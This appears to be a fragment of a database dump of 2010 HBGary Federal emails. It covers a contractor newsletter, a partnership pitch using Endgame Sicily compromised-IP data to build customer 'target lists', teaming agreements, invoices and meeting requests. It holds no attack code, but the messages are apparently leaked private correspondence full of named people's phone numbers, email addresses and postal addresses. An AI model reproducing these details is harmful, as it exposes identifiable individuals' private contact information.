Fairfax County over the past year.&nbsp;\r\n When:Tuesday, June 1511:30 to 2:00pmWhere: Westfields Marriott, Washington\r\n DullesFor more information contact Lisa Huffman at lhuffman@fairfaxchamber.org\r\n or 703-752-7528Click Here to\r\n Register.&nbsp;&nbsp;Northrop\r\n Grumman, BAE, L-3, Raytheon Ink Navy ContractsITT, Booz Allen\r\n Hamilton Win Air Force ContractsAustin Yerks on\r\n CSC\'s Integrated Network Services DealRaytheon Signs\r\n Deal with Air Force for More Miniature Air Launch DecoysNorthrop\r\n Grumman Moving Forward with Deal from FAASAIC, NGC Ink\r\n Deals with LogisticsRaytheon, L-3,\r\n NGC Pen Navy DealsHarris Inks\r\n Falcon III Adapter Systems Deal with DoDWyle, Raytheon,\r\n L-3 Pen Air Force ContractsAlion, Booz Win\r\n Two Air Force Deals EachHarris Names\r\n Daniel Pearson COOL-3 Makes Pair\r\n of PromotionsPaul Cofoni on\r\n CACI Naming Gregory Scovel Vice President of Cyber Law EnforcementACS, A Xerox\r\n Company Names Michael Bolton as COO, Dave Mahony CFOSAIC\'s Walt\r\n Havenstein on New General Counsel Vincent MaffeoClick Here for\r\n More GovConwireFISMA II Looks\r\n to Institute Performance-Based MetricsSameer Bhalotra\r\n to Back Up Howard Schmidt?Bob Brammer\r\n Leads Panel Discussion on Cyber R&D CollaborationCyber Threat\r\n Needs to be Addressed \'Very, Very Rapidly,\' Says Adm. MullenLynn Announces\r\n Plans to Facilitate IT ProcurementJapanese Police\r\n Arrest Alleged SpammersSwede, U.S.\r\n Citizen Accused of Running Scareware ScamNet Crooks\r\n Defraud Service Members with Phishing SiteDDoS Attack\r\n Takes Out Web Host44 Million\r\n Stolen Gaming Credentials DiscoveredClick Here for\r\n More from The New New Internet Top Industry\r\n Execs Gather at \'Voices of GovCon\'CACI\'s Jack\r\n London Named Induction Laureate at 2010 Washington Business Hall of\r\n FameSAIC Awarded\r\n with Frances Perkins Vanguard AwardHPTi\'s Robert\r\n Jones, Jr. Provides Insight Into the Field of Corporate DevelopmentNorthrop\r\n Grumman\'s Bob Brammer Leads Panel on Cybersecurtity\r\n Click Here for\r\n More from GovCon Executive\r\n Jones Explains\r\n New National Security StrategyBeth Noveck,\r\n Todd Park Named 2 of 100 Most Creative People in Business 2010U.S.-Japan\r\n Security Consultative Committee Releases Joint StatementDefense\r\n Secretary Robert Gates Opens Up in InterviewLeaders of All\r\n Levels, Areas Must Understand the Cyber Threat, Says MullenOnline Scammers\r\n Defraud Service MembersSecretary Gates\r\n Awarded 2010 American Patriot AwardNational\r\n Security Strategy Revealed TodayTask Force to\r\n Speed IT Procurement within DoDONC Awards\r\n Second Round of Beacon AwardsClick Here for\r\n More from ExecutiveGovFeatured VideoVoices of\r\n GovCon LuncheonSHARE THIS EMAIL:FacebookTwitterLinkedInDiggMySpaceAEC\r\n &#8211; Geo e-procurement portalIn the fast-paced AEC-Geo\r\n world, we understand that you need fast and flexible purchasing of your technology\r\n solutions.&nbsp; That\'s why we created a new e-procurement portal from DLT\r\n Solutions: www.dlt.com/aec-geo-proc&nbsp;From\r\n mapping and CAD, to imagery and globes, all can be purchased at a press of a\r\n button for all your government projects. The portal features special\r\n pricing around Autodesk\'s Master Government Reseller software solutions including\r\n AutoCAD, Map 3D, Civil 3D plus many more. Google Earth and GeoEye Imagery\r\n solutions are available too.Prefer to speak to a representative\r\n directly? DLT has a team of experienced representatives to help. With over 19\r\n years of working closely with federal, state and local governments, we can help\r\n you make the best purchasing decisions.&nbsp;For Autodesk products,\r\n call 888.447.2223 or send a message to ag@dlt.com&nbsp;For Geospatial\r\n products, call 877.385.3581 or send a message to gds@dlt.com.\r\n John\r\n Hillen Talks Bright Future, Good Opportunities for Government Contractors at\r\n Voices of GovCon\r\n LuncheonThere\r\n has been a lot of back and forth these days and policy debates about cost,\r\n efficiency, structure, and roles in the government. In particular, there is the\r\n debate about government roles versus contractor roles. Click Here to Read\r\n MoreDeloitte\'s Scott Silverstein on Challenges and Goals\r\n \r\n Deloitte general counsel Scott Silverstein spoke with\r\n ExecutiveBiz about some of the challenges a legal mind faces at a government\r\n contractor, how his department assists the firm in reaching its goals and imparted\r\n some advice to those working in the legal side of procurement.&nbsp; The Cornell\r\n and NYU graduate came to the firm six years ago after working for a law firm\r\n associated with Deloitte and its subsidiaries. Click Here to Read\r\n MoreScott\r\n Miller: There\'s a Lot of Interest to be Engaged in\r\n CybersecurityAfter six years with the U.S. Air Force\r\n as a communications and crypto technician, Scott Miller joined E-Systems as a\r\n systems engineer. In 1993, he decided to take a different career path and joined\r\n E-Systems Network Engineering Group, where he was involved in customer facing and\r\n internal IT projects. As time progressed, Miller began managing the\r\n customer-facing IT projects and got his first taste of program management. In\r\n 2000, he joined Microsoft as the company was just starting to form a national\r\n security practice, which he helped develop into a business that today serves\r\n Homeland Security, the Intelligence Community and cyber customers across the\r\n nation. Here, he talks about the challenges he has met in his role, some of the\r\n products Microsoft is coming out with, and how one of his dreams is to\r\n circumnavigate the world in a trawler. Click Here to Read\r\n MoreJohn\r\n Koenig: \'The real issue is the definition of\r\n cyber\'John Koenig started his career at Harris\r\n Corporation in the mid-1980s, working in the government systems group. He left\r\n Harris briefly to pursue projects in telecommunications, only to return to a\r\n company whose environment he calls \"challenging, demanding, fair, exciting.\" In an\r\n interview with TNNI, he talked about his work as vice president of operations for\r\n the new cyber business unit within Harris, how the company finds the next\r\n generation of cyber professionals and the advice he has for those who want to work\r\n in cyber.&nbsp; Click Here to Read\r\n More&nbsp; \r\n Save The DateWhat: Ernst & Young Entrepreneur Of\r\n The Year 2010 Greater Washington Awards Gala.The Ernst & Young Entrepreneur Of The Year\r\n 2010 finalists have a lot to celebrate. They\'ve built their dream companies.\r\n Expanded. Innovated. It\'s time to recognize their achievements. Join us at this\r\n year\'s event and see who will take home top honors.Shine your shoes. Raise your glass. Get\r\n inspired.When:Thursday, June 24, 20106:00 - 9:30\r\n p.m.Where: Ritz-Carlton, Tysons Corner,\r\n VAFor more information click or call +1 703 747 0858920\r\n Click Here to\r\n Register.\r\n A\r\n Letter from the EditorThrough our weekly emagazine and daily blog,\r\n ExecutiveBiz offers our readership an insider\'s view of news and trends shaping\r\n small, medium, and large companies within industries such as defense, technology,\r\n and health care.&nbsp; In addition to our daily blog, we\'ve launched four new\r\n media properties, GovConWire,\r\n GovConExecutive,\r\n ExecutiveGov,\r\n and TheNewNewInternet.\r\n Each week, we deliver in-depth profiles of industry leaders, candid Q&As, plus the\r\n latest news and trends, and value-add information to help you do your job\r\n better.&nbsp; You\'re a big part of the equation both online and off &#8212; which\r\n is why we want to hear from you. Have a story tip? Or an idea for a speaking\r\n event? Feel free to contact me direct. You can also follow us on Twitter, Facebook,\r\n and LinkedIn.J.D. KathuriaEditor-in-chief\r\n ExecutiveBizo: 703-226-7010&nbsp; &nbsp;jd@executivebiz.com&nbsp;&nbsp;\r\n ExecutiveBiz, 8230 Old Courthouse\r\n RoadVienna, VA 22181Update PreferencesList\r\n Unsubscribe\r\n',16112,'aaron_hbgary_com/16112.html'),(6961,'2010-06-03','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297005041.M9144P14101Q1814.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Harvey, Kevin\" <kevin.harvey@fidelissecurity.com>','RE: DuPont','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYep &#8211; we should connect them with Kevin Harvey (cc&#8217;d), who will\r\ncoordinate the training.&nbsp; Understanding our policy components\r\nand structure is key to success. \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, June 03, 2010 10:40 AM\r\nTo: Etue, David\r\nSubject: Re: DuPont\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWe have the various VMs now downloaded and are installing.\r\n&nbsp;Should we have a conversation and potential demo of these capabilities\r\nfor the folks out here in the Springs that will be configuring?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 3, 2010, at 8:20 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\na call with them &#8211; you okay if I mention your upcoming offering?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11634,'aaron_hbgary_com/11634.html'),(6962,'2010-06-03','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297005042.M123456P14101Q1817.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: DuPont','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThat sounds smart.&nbsp; You also should easily be able to\r\ndefine a set of base policies to detect malicious traffic.&nbsp; We have a\r\nbunch, but I&#8217;m sure there are others.\r\n\r\n&nbsp;\r\n\r\nI explained the integration to DuPont, and definitely got his\r\nattention.&nbsp; Think we will be doing a POC, so will try to loop you guys\r\nin.&nbsp; \r\n\r\n&nbsp;\r\n\r\nDoesn&#8217;t look like I&#8217;m going to figure out how to get\r\nFidelis to get me to FIRST.&nbsp; Any ideas on getting a free/cheap pass?&nbsp;\r\nThe official announcement of me moving on from Fidelis went out today&#8230;.\r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, June 03, 2010 10:39 AM\r\nTo: Etue, David\r\nSubject: Re: DuPont\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSo I was talking through this. &nbsp;The process would go\r\nlike this.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe get a customer or an interested customer and we\r\nimmediately pull the EndGames data for the companies netblock. &nbsp;We have\r\nbeen testing this out and its going very well. &nbsp;We get a list of active\r\nand historical IPs that have been compromised. &nbsp;We do some additional\r\nresearch on the compromised IPs and develop an initial target list. &nbsp;We\r\nload that information into the fidelis appliance and the active defense\r\nappliance. &nbsp;So when we get to an engagement we hit the ground running with\r\na list of targets as well as doing general discovery.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe of course also use the power of the three capabilities to\r\ndeliver the best possible results to the customer during the engagement.\r\n&nbsp;We also will be structuring the leave behind capability that can be\r\nmanaged by local staff or remotely when needed by our staff.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 3, 2010, at 8:20 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\na call with them &#8211; you okay if I mention your upcoming offering?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8807,'aaron_hbgary_com/8807.html'),(6963,'2010-06-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005042.M448013P14101Q1818.eml','\"Rich Cummings\" <rich@hbgary.com>','Brief FAQ for EGS Sicily','http://endgamesystems.com/sicily/faq/\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9673,'aaron_hbgary_com/9673.html'),(6964,'2010-06-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005042.M666081P14101Q1819.eml','\"Wagner, Edward D (IS)\" <Edward.Wagner@NGC.com>','Re: Discussion','Hey Ted,\r\n\r\nHope your trip was good.  When is a good time to get together?\r\n\r\nAaron\r\n\r\nOn May 20, 2010, at 5:00 PM, Wagner, Edward D (IS) wrote:\r\n\r\n> Aaron,\r\n> \r\n> I leave for Germany Sat, but will be back the following week.\r\n> \r\n> Thanks,\r\n> \r\n> Ted\r\n> \r\n> \r\n> Edward D. Wagner, CISM, CISSP, ISSMP\r\n> Project Manager\r\n> Northrop Grumman IT/TASC\r\n> (703) 706-1462\r\n> \r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, May 20, 2010 2:24 PM\r\n> To: Wagner, Edward D (IS)\r\n> Subject: Discussion\r\n> \r\n> Hey Ted,\r\n> \r\n> If you have some time would like to get together.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',7657,'aaron_hbgary_com/7657.html'),(6965,'2010-06-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005043.M463287P14101Q1820.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Copies of invoices','---------- Forwarded message ----------\r\nFrom: John L. Cox, CPA \r\nDate: Thu, Jun 3, 2010 at 9:31 AM\r\nSubject: Copies of invoices\r\nTo: DeeAnn Buonaccorsi \r\nCc: Ted Vera , Penny Leavy-Hoglund \r\n\r\n\r\nHi DeeAnn,\r\n\r\n\r\n\r\nCould you please fax me copies of the transactions marked in the\r\nattachment?  Be sure to include the detail that will show the amount\r\nbeing charged to HBGary Federal.  Please provide at your earliest\r\nconvenience.  Thanks.\r\n\r\n\r\n\r\nTed – The transactions in the above attachment were recorded in QB\r\nonline to reflect these expenses paid by HBGary, Inc. for the benefit\r\nof HBGary Federal LLC.  I will get the backup to you for these charges\r\nas soon as DeeAnn forwards them to me.  Also, Ted, I would like you to\r\nbe aware that there may be some additional transaction on HBGary,\r\nInc.’s books that have not yet been identified.  I will review HBG\r\ngeneral ledger soon to ensure to all transactions have been recorded\r\nproperly.\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\nJohn L. Cox, CPA\r\n\r\n12107 Faith Lane\r\n\r\nBowie, Maryland 20715\r\n\r\n(240) 949-6022 Voice\r\n\r\n(866) 750-1973 Fax\r\n\r\n\r\n\r\nThis message contains information that may be confidential and\r\nprivileged. Unless you are the addressee (or authorized to receive for\r\nthe addressee), you may not use, copy, print or disclose to anyone the\r\nmessage or any information contained in the message. If you have\r\nreceived this e-mail in error, please advise the sender by reply and\r\ndelete the message. Thank you.\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',14524,'aaron_hbgary_com/14524.html'),(6966,'2010-06-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005047.M532576P14101Q1821.eml','\"Rich Cummings\" <rich@hbgary.com>','Tech Documentation for EGS Sicily','Rich,\r\n\r\nAttached is the technical documentation.\r\n\r\n',6835,'aaron_hbgary_com/6835.html'),(6967,'2010-06-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005051.M228099P14101Q1822.eml','\"Greg Hoglund\" <greg@hbgary.com>','EGS Sicily data','Hey Greg,\r\n\r\nAttached is the technical specs for the EGS SIcily product we have been using.  It describes some of the information you were asking about.\r\n\r\nSpecifically, they get the data from a variety of sources; Sinkholes, IDS/IPS, firewalls, etc.  They do have malware for many of the compromises but Dan did not know an easy way to provide this as part of the Sicily capability.  We will probably just have to ask for specific malware samples out of band.  If there are specific ones you are interested in at the moment let me know.\r\n\r\nAlso, you mentioned licenses for Photoshop and InDesign.  Do you have ones that I could use or are they already used?\r\n\r\n',1918,'aaron_hbgary_com/1918.html'),(6968,'2010-06-03','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297005053.M588001P14101Q1823.eml','\"Aaron Barr\" <aaron@hbgary.com>','','\r\n\r\n',14688,'aaron_hbgary_com/14688.html'),(6969,'2010-06-03','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297005056.M737854P14101Q1824.eml','\"Aaron Barr\" <aaron@hbgary.com>','','\r\n\r\n',4002,'aaron_hbgary_com/4002.html'),(6970,'2010-06-03','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297005058.M477890P14101Q1825.eml','\"Aaron Barr\" <aaron@hbgary.com>','','\r\n\r\n',1439,'aaron_hbgary_com/1439.html'),(6971,'2010-06-03','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297005059.M857614P14101Q1826.eml','\"Aaron Barr\" <aaron@hbgary.com>','','\r\n\r\n',13108,'aaron_hbgary_com/13108.html'),(6972,'2010-06-03','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297005062.M156600P14101Q1827.eml','\"Aaron Barr\" <aaron@hbgary.com>','','\r\n\r\n',388,'aaron_hbgary_com/388.html'),(6973,'2010-06-03','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297005065.M326674P14101Q1828.eml','\"Aaron Barr\" <aaron@hbgary.com>','','\r\n\r\n',11727,'aaron_hbgary_com/11727.html'),(6974,'2010-06-03','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297005066.M801728P14101Q1829.eml','\"Aaron Barr\" <aaron@hbgary.com>','','\r\n\r\n',4339,'aaron_hbgary_com/4339.html'),(6975,'2010-06-03','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297005069.M127188P14101Q1830.eml','\"Aaron Barr\" <aaron@hbgary.com>','','\r\n\r\n',5944,'aaron_hbgary_com/5944.html'),(6976,'2010-06-03','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297005069.M503062P14101Q1831.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Tech Documentation for EGS Sicily','You da man!\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, June 03, 2010 11:42 AM\r\nTo: Rich Cummings\r\nSubject: Tech Documentation for EGS Sicily\r\n\r\nRich,\r\n\r\nAttached is the technical documentation.\r\n\r\n\r\n',2830,'aaron_hbgary_com/2830.html'),(6977,'2010-06-03','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','/aaron@hbgary.com/new/1297005080.M998308P14101Q1832.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,,,','HBGary Federal Teaming Agreement','Actually, yes.  Please review, sign and return the attached Teaming Agreement.  \r\n\r\n\r\nThank you,\r\n \r\n \r\nKimberly Hoagland\r\nSr. Specialist-Subcontracts \r\nGeneral Dynamics Advanced Information Systems, Inc. \r\n \r\nMailing Address:\r\n 10925 Pump House Road\r\n Annapolis Junction, MD 20701\r\nPhysical Address:\r\n 2721 Technology Drive\r\n Annapolis Junction, MD  20701\r\n \r\n(240) 294-2275 (v)\r\n(240) 294-2181 (f)\r\nkimberly.hoagland@gd-ais.com\r\n \r\n??please consider the environment before printing this email\r\nThis e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Tuesday, June 01, 2010 3:41 PM\r\nTo: Hoagland, Kimberly A.\r\nCc: Aaron Barr; Griswold, Christine (EXT) (GDC4S)\r\nSubject: Re: FW: Supplier 452174 Approved\r\n\r\nHi Kimberly,\r\n\r\nJust wanted to follow up on this.  Do we owe you anything?\r\n\r\nAlso, do you know the anticipated award date for this effort?\r\n\r\nCongrats on getting the proposal out, we\'ll keep our fingers crossed!\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\nOn Thu, May 27, 2010 at 9:50 AM, Hoagland, Kimberly A.\r\n wrote:\r\n> I just noticed that also, no wonder you guys are confused.  Hold off for right now, you answered my question that I needed.  I need to talk to Christine about something internally.  Sit tight and I\'ll get back to you.\r\n>\r\n>\r\n> Thanks for your patience!\r\n>\r\n>\r\n>\r\n> Kimberly Hoagland\r\n> Sr. Specialist-Subcontracts\r\n> General Dynamics Advanced Information Systems, Inc.\r\n>\r\n> Mailing Address:\r\n>  10925 Pump House Road\r\n>  Annapolis Junction, MD 20701\r\n> Physical Address:\r\n>  2721 Technology Drive\r\n>  Annapolis Junction, MD  20701\r\n>\r\n> (240) 294-2275 (v)\r\n> (240) 294-2181 (f)\r\n> kimberly.hoagland@gd-ais.com\r\n>\r\n>\r\n> This e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Thursday, May 27, 2010 11:49 AM\r\n> To: Hoagland, Kimberly A.\r\n> Cc: Aaron Barr; Griswold, Christine (EXT) (GDC4S)\r\n> Subject: Re: FW: Supplier 452174 Approved\r\n>\r\n> Sorry for the confusion.  This form reads HBGary Inc, and it will not\r\n> allow me to change it to HBGary Federal, LLC.  Can you make this\r\n> change and resend it to me please and I will fill it out ASAP.\r\n>\r\n> Thanks,\r\n> Ted\r\n>\r\n>\r\n>\r\n> On Thu, May 27, 2010 at 9:28 AM, Hoagland, Kimberly A.\r\n>  wrote:\r\n>> Ted,\r\n>>\r\n>> Attached are the standard Reps & Certs that Christine just sent to you today\r\n>> at 9:31am.  These are where I would normally obtain the information that I\r\n>> requested from you this morning via Email.  The Supplemental Reps & Certs\r\n>> are a different set of forms that do not contain the same information.\r\n>> Christine Griswold does not send those out, I sent those to you on 5/25/10\r\n>> at 10:31 as part of your RFP package.\r\n>>\r\n>> Two totally different forms.  I hope this clears things up.\r\n>>\r\n>>\r\n>>\r\n>> Kimberly Hoagland\r\n>> Sr. Specialist-Subcontracts\r\n>> General Dynamics Advanced Information Systems, Inc.\r\n>>\r\n>> Mailing Address:\r\n>>  10925 Pump House Road\r\n>>  Annapolis Junction, MD 20701\r\n>> Physical Address:\r\n>>  2721 Technology Drive\r\n>>  Annapolis Junction, MD  20701\r\n>>\r\n>> (240) 294-2275 (v)\r\n>> (240) 294-2181 (f)\r\n>> kimberly.hoagland@gd-ais.com\r\n>>\r\n>> P please consider the environment before printing this email\r\n>> This e-mail message is for the sole use of the intended recipient and may\r\n>> contain confidential and privileged information. Any unauthorized review,\r\n>> use, disclosure, or distribution is prohibited. If you are not an intended\r\n>> recipient, please contact the sender by reply e-mail and destroy all copies\r\n>> of the original message.\r\n>>\r\n>>\r\n>> _____________________________________________\r\n>> From: Griswold, Christine [mailto:Christine.Griswold@gdc4s.com]\r\n>> Sent: Thursday, May 27, 2010 9:31 AM\r\n>> To: Aaron Barr\r\n>> Cc: Hoagland, Kimberly A.; Ted Vera\r\n>> Subject: FW: Supplier 452174 Approved\r\n>>\r\n>>\r\n>>\r\n>> Please complete the document as soon as possible and return the soft copy to\r\n>> Kim Hoagland and myself.\r\n>>\r\n>> Sincerely,\r\n>> CHRISTINE GRISWOLD\r\n>> christine.griswold@gdc4s.com\r\n>> General Dynamics C4 Systems\r\n>> 400 John Quincy Adams Rd.\r\n>> Taunton Ma 02780\r\n>> P# 508-880-4154\r\n>> F# 508-880-2223\r\n>>\r\n>> ______________________________________________\r\n>> From:    Hoagland, Kimberly A. [mailto:Kimberly.Hoagland@gd-ais.com]\r\n>> Sent:   Monday, May 24, 2010 3:20 PM\r\n>> To:     Griswold, Christine\r\n>> Subject:        FW: Supplier 452174 Approved\r\n>>\r\n>> Please send out a Reps & Certs package to this company.  Thank you!  J\r\n>>\r\n>> Aaron Barr [aaron@hbgary.com]\r\n>> Ted Vera [ted@hbgary.com]\r\n>>\r\n>>\r\n>>\r\n>> Kimberly Hoagland\r\n>> Sr. Specialist-Subcontracts\r\n>> General Dynamics Advanced Information Systems, Inc.\r\n>>\r\n>> Mailing Address:\r\n>>  10925 Pump House Road\r\n>>  Annapolis Junction, MD 20701\r\n>> Physical Address:\r\n>>  2721 Technology Drive\r\n>>  Annapolis Junction, MD  20701\r\n>>\r\n>> (240) 294-2275 (v)\r\n>> (240) 294-2181 (f)\r\n>> kimberly.hoagland@gd-ais.com\r\n>>\r\n>> P please consider the environment before printing this email\r\n>> This e-mail message is for the sole use of the intended recipient and may\r\n>> contain confidential and privileged information. Any unauthorized review,\r\n>> use, disclosure, or distribution is prohibited. If you are not an intended\r\n>> recipient, please contact the sender by reply e-mail and destroy all copies\r\n>> of the original message.\r\n>>\r\n>>\r\n>> _____________________________________________\r\n>> From: Bradley, Barbara L.\r\n>> Sent: Monday, May 24, 2010 3:19 PM\r\n>> To: Hoagland, Kimberly A.\r\n>> Cc: Griswold, Christine (EXT) (GDC4S)\r\n>> Subject: Supplier 452174 Approved\r\n>>\r\n>>\r\n>> Supplier 452174, HBGary, Inc, has been approved in ESM and IFS.\r\n>>\r\n>> Barbara Bradley\r\n>> Calibration Recall System Coordinator\r\n>> Supplier Quality Administrator\r\n>> General Dynamics - Cyber Systems-IS\r\n>> 7-9 Vreeland Road\r\n>> Florham Park, NJ  07932\r\n>> Phone - 973-765-5584\r\n>> Fax - 973-765-5952\r\n>>\r\n>>\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',3987,'aaron_hbgary_com/3987.html'),(6978,'2010-06-03','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297005086.M22839P14101Q1833.eml','\"Aaron Barr\" <aaron@hbgary.com>','','\r\n\r\n',5278,'aaron_hbgary_com/5278.html'),(6979,'2010-06-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005086.M273900P14101Q1834.eml','\"Greg Hoglund\" <greg@hbgary.com>','Follow up','Greg,\r\n\r\nI am in the Colorado Springs office and overheard your conversation with Ted.\r\n\r\nLet me suggest trying out Ted and the small team out here for test.  You won\'t be disappointed.  I know the remote work environment does not make you happy because of past experiences, but with the right crew it can work fine.  Ted is the right guy to make this successful.  He will get the processes in place and as he makes it successful we can hire lower cost folks.\r\n\r\nI don\'t want to push it but while we are on the subject.  I would like to do some interface and database development for TMC for government customers.  I had a good conversation with Bob and both of us agree, selling TMC, DDNA, and REcon to NSA is going to be an uphill sell because its not exactly what they want.  I would like to take their requirements, generalize those and develop to meet those requirements, which will also meet requirements for DC3, USCERT, etc.\r\n\r\nI was on a webex with Rich yesterday going over some of the incident data from recent engagements.   I caught some dynamically generated data which let us to some other C&C channels.   That was fun, man I miss analysis. \r\n\r\nGive me a call when you get some time \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6157,'aaron_hbgary_com/6157.html'),(6980,'2010-06-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005086.M494680P14101Q1835.eml','\"Mark Trynor\" <mark@hbgary.com>','Logos','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13194,'aaron_hbgary_com/13194.html'),(6981,'2010-06-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005086.M781018P14101Q1836.eml','\"Scott Suhy\" <Scott.Suhy@PointAbout.com>','Re: Introduction','Hi Scott,\r\n\r\nHow is your schedule for getting together next week?  Did you see the link I sent on the DARPA opportunity for app development?\r\n\r\nAaron\r\n\r\nOn May 27, 2010, at 7:32 AM, Scott Suhy wrote:\r\n\r\n> Aaron,\r\n> \r\n> Give me a ring today (cell below).\r\n> \r\n> ____________________________________________________\r\n> Scott B. Suhy\r\n> CEO, PointAbout Inc.\r\n> Cell: 202.557.6937\r\n> 1410 Q street NW Washington, DC 20009 (http://1410q.com) \r\n> skype:scott.suhy \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, May 27, 2010 9:07 AM\r\n> To: info@PointAbout.com\r\n> Subject: Introduction\r\n> \r\n> Hi PointAbout,\r\n> \r\n> I have been doing a little bit of research on local DC talent for mobile\r\n> development and found you guys, turns out I actually have a few of your apps\r\n> on my iPhone.\r\n> \r\n> My company is the sister company to HBGary 